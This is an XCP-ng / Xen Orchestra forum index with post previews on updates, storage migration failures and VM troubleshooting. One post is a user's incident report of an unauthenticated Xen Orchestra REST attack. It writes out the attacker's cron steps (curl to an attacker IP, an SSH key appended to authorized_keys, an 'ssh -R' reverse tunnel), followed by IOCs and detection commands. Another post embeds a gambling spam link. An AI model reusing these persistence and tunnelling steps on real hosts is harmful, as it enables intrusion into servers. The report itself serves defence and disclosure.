Categories

  • All news regarding Xen and XCP-ng ecosystem

    146 Topics
    5k Posts
    A
    @gduperrey Updates installed. RPU mostly worked... Every host was updated. All VMs moved and returned. Waiting before re-enabling the load balancer task is stuck waiting...

  • Everything related to the virtualization platform

    1k Topics
    16k Posts
    C
    Hey Poddingue! I very much assume to have found the troublemaker. I compared the outputs of xe vm-param-list and what triggered my eyes the most was: Debian: PV-drivers-version (MRO): HA: PV-drivers-version (MRO): major: @PRODUCT_MAJOR_VERSION@; minor: @PRODUCT_MINOR_VERSION@; micro: @PRODUCT_MICRO_VERSION@; build: @NUMERIC_BUILD_NUMBER@ Ofc what's reported after a HomeAssistant boot is completely nuts and should be "nothing"/empty. As the errorlog of Commvault says something about XenSDKWrapper, I'm unsure if the errorhandling of the SDK or Commault sucks (should I be happy that it was caught at all and didn't crash the whole application? ). The German translation, to me, indicateds Commvault at faul though. Neither XCP-ng nor the XenSDK will be able to speak english, nor is it likely that they translate a "try-catch"-errormessage, I assume. BUT: XCP-ng should never report back such nonsense and by that probably hit Commvault unexpected. So I also suggest to catch nonsense/unclear responses before XAPI (which is what xe triggers?) output/response.

  • All Xen Orchestra related questions/reports

    3k Topics
    29k Posts
    V
    Hi, I got hit through this one last night. Small home lab pool, XO from sources (xo-server 5.213.0). It was reachable from the internet behind a reverse proxy because a friend has a VM on my server and wanted to start and stop it himself. Yes, that was dumb. It's VPN only from now on, the way it should have been. None of the names, files or IPs from the advisory matched. A check for pivot2 / ustar alone would have shown me clean. Here is what I found instead. What they did, all within about 50 minutes GET /rest/v0/vms?limit=1 answered 200 without any login, followed by /rest/v0/users/me (307) and the user list. Later rounds showed a 401 and then a 200 in the same second, but the first one was a plain 200. My proxy doesn't log cookies. What I grep for is any 2xx on /rest/v0 from an IP that isn't mine. POST /rest/v0/users/<admin id>/authentication_tokens, two tokens with the description system-maintenance and 24 h expiry. xo.exportConfig over the websocket, twice with entries ["xenServers"] and later the full config, no passphrase. In the proxy log this is GET /api/<random>/XO-config_<timestamp>.json. VM import via POST /rest/v0/pools/<id>/vms?sr=<local SR>. VM name svc-<6 digits>, 256 MiB, one 2 MiB disk, no VIF, platform hvm_serial = file:/etc/cron.d/svc-<same digits>. Started right away and was halted again a few seconds later. The disk has one non-zero sector, a boot sector that prints the cron line to the serial port and halts. That cron file ran once as root on the host: curl http://13.140.168.109:8931/port?h=<hostname> curl http://13.140.168.109:8931/tk (an ssh key) append an ed25519 key with the comment nx-campaign to /root/.ssh/authorized_keys ssh -f -N -R <port>:localhost:22 hermes1@13.140.168.109 delete the cron file Both curls timed out for me and no tunnel came up, but the key was in authorized_keys. They only failed because my firewall lets the hosts out on 80/443 only. With open egress the tunnel would have worked. The job left /root/dead.letter with its errors on the host. IOCs 185.213.154.220 REST calls and config export (Chrome 131 UA, python-requests/2.3 13.140.168.109 VM import and start via REST (python-requests/2.32.5), port 8931, ssh user hermes1 VM name svc-<digits> and /etc/cron.d/svc-<digits> authorized_keys comment nx-campaign XO token description system-maintenance /root/dead.letter on the host Quick checks on the hosts grep nx-campaign /root/.ssh/authorized_keys ls -la /root/dead.letter /etc/cron.d/ zgrep svc- /var/log/cron* zgrep -- '-serial file:' /var/log/xensource.log* The last one is from the advisory and did match. On the XO machine the journal does show a bit after all: journalctl -u xo-server | grep 'unauthenticated API call' journalctl -u xo-server | grep 'use session.signIn() instead' journalctl -u xo-server | grep 'putResource /import/' The first also shows up for my own expired sessions, compare the times. The other me of the attack, nothing else in five months of journal. audit.log shows no export or snapshot from the attacker on the xapi side, only my nightly backup. But the config export has the host root passwords and plugin secrets in clear text, so I rotate everything. Phew, that was quite a shock. I only read about the Vates advisory by chance in my news reader this morning. I sent my AI off to check if my setup was affected, and it found out that I had already been compromised.

  • Our hyperconverged storage solution

    56 Topics
    834 Posts
    R
    Hello, I ran a Rolling Pool Update from Xen Orchestra on a pool with XOSTOR. A live migration failed during the evacuation of the second host. The VM was left in a state that neither XO nor xe could handle (no restart, no shutdown, no reset-powerstate), and I could only recover it manually from the hosts. After that cleanup, a new RPU run completed without errors. Setup: XCP-ng 8.3, 3 hosts, HA enabled (the RPU disables it) XOSTOR SR: replication 2, thin provisioning DRBD traffic on a dedicated 2.5G network (PrefNic storage) linstor controller/satellite connections (StltCon) and live migration on the 1G management network (no dedicated migration network) Same packages on all 3 hosts: sm 3.2.12-25.2, xcp-ng-linstor 1.2-7, python-linstor and linstor-client 1.27.1, LINSTOR controller 1.33.1 Xen Orchestra from sources, commit 83c3e344ba (master of 2026-11-10), xo-server 5.213.0 Timeline of the first run (from the XO RPU trace and the host logs): 22:53:01 to 22:53:17: "Updating LINSTOR packages" (this step stops linstor-controller and restarts linstor-satellite on all hosts) 22:53:49 to 22:54:34: evacuation of gamma (pool master), OK 22:55:53: reboot of gamma. The host was up at 22:56:40, and its satellite was ONLINE again in the controller at 22:57:08 22:58:08: "Waiting for host to be up" finished. At 22:58:09 the RPU started evacuating beta. The linstor controller was running on beta at that moment 22:58:18 to about 23:01: while the VMs were migrating away from beta, the controller (on beta) repeatedly lost its connections to the satellites of alpha and gamma. They reconnected several times, and the controller logged PeerClosingConnectionException ("Fetch thin capacity info") at 22:59:54 and 23:00:10 23:00:10: the migration of one VM (disk on XOSTOR, beta to gamma) failed at synchronisation point 4. The VDI attach on gamma failed: SR_BACKEND_FAILURE_47 "The SR is not available [opterr=Error: ERRO:NoneType]" (SMlog on gamma: LinstorSR, line 479, in load, during vdi_attach) Other XOSTOR VDIs were attached on gamma without problems at 22:59:45, 23:00:15 and 23:00:55. So it looks like a transient failure of the LINSTOR connection during that attach, not an SR that was unavailable on gamma. State after the failure: XAPI showed the VM as running on beta xl list on beta showed the domain in state ---ss- xenopsd on beta did not know the VM any more. Every action from XO or xe failed with: INTERNAL_ERROR(Object with type VM and id <uuid>/config does not exist in xenopsd) xe vm-reset-powerstate --force was refused because the host is live a paused domain of the VM and an "extra" entry in xenopsd were left on gamma Following runs: 2nd run: failed immediately with the same "config does not exist in xenopsd" error, because the VM was still in that state I then recovered the VM on beta (xl destroy, xe-toolstack-restart on beta, vm-start) 3rd run: failed with VM.migrate: Failed during Synchronisation point 4. Already_exists extra/<uuid>, because of the entry left on gamma by the first failure. It left another paused domain on gamma and a ---ss- domain on beta Manual cleanup on both hosts (below), VM started on gamma 4th run: completed successfully (beta and alpha updated and rebooted, VMs migrated back) Manual cleanup (on both hosts): xl destroy of the leftover domains systemctl stop xenopsd-xc remove the VM entries (VM/<vm-uuid> and extra/<vm-uuid>) under /var/run/nonpersistent/xenopsd/classic/ xe-toolstack-restart (on beta it took two restarts before XAPI showed the VM as halted) xe vm-start What I think happened (I may be wrong): The linstor controller was running on the host being evacuated. Its connections to the satellites go over the same 1G management network as the live migrations. During the evacuation it lost the satellites several times, and one vdi_attach on the destination hit that window. I can't prove it was network saturation; the logs only show the disconnections and reconnections. Questions / suggestions: Is it expected that LinstorSR fails the vdi_attach right away on a transient controller error (ERRO:NoneType), without retrying? Should the RPU avoid evacuating the host that runs the linstor controller while migrations depend on it, or move the controller first? It might also be worth waiting after each reboot until XOSTOR is fully settled (currently the RPU only waits for host.enabled and metrics.live) A migration that fails at synchronisation point 4 leaves the VM unmanageable on both hosts and blocks the next RPU runs until it is cleaned up manually Is a dedicated migration network, or moving the controller/satellite connections to the storage network, the recommended setup for XOSTOR pools? I can provide the XO RPU trace, xensource.log, SMlog and the linstor-controller error reports if needed. Thanks!

  • Non-English speakers

    37 Topics
    137 Posts
    S
    @jqueiroz said: Bom dia a todos, Estou com um problema em uma VM, ela está ligando/desligando sozinha, repetidamente. Não encontro nenhuma mensagem de erro explicando o motivo. Alguém pode me dar alguma dica sobre como solucionar isso? Uso o XCP-NG 8.0 em um cluster de dois servidores HP Proliant DL-360, com o HA-Lizard. Tudo vinha funcionando bem até alguns dias atrás, quando houve uma queda de energia no datacenter da localidade. Tenho o mesmo arranjo de VMs/servidores em mais seis localidades, nenhuma apresenta esse problema. Analisar esse comportamento instável do cluster é quase como prever resultados complexos, parecendo a análise de riscos que a malta faz ao dar palpites no https://mostbetbrasil.lat. Grato. Como o problema começou depois da queda de energia e só acontece nessa localidade, eu começaria verificando os logs do XCP-ng e do HA-Lizard para entender quem está disparando os reinícios. Pode ser alguma política de HA tentando recuperar a VM repetidamente, algum problema de armazenamento ou até inconsistência no estado do host após a interrupção. Também vale conferir o estado do pool e os logs do Xen Orchestra, se estiver usando. Se possível, desative temporariamente a automação de recuperação dessa VM, com cuidado para não comprometer a disponibilidade, e veja se ela continua reiniciando sozinha. Isso ajuda a isolar a causa.